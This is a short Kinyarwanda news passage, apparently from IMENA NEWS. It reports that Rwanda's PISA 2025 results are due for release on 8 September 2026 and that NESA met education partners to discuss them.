Umusaruro wavuye muri PISA 2025, biteganyijwe ko uzatangazwa ku mugaragaro ku wa 8 Nzeri 2026, bikazaba ari intambwe ikomeye mu kugereranya ireme ry’uburezi bw’u Rwanda n’ibindi bihugu ku rwego mpuzamahanga, ndetse no kugira impinduka zimwe na zimwe zishyirwaho muri politiki y’uburezi mu Rwanda.

Umwanditsi: BIRABONEYE Jean Népomuscène
![]()
The post NESA yahuje abafatanyabikorwa mu burezi baganira ku bijyanye na PISA 2025. first appeared on IMENA NEWS.
]]>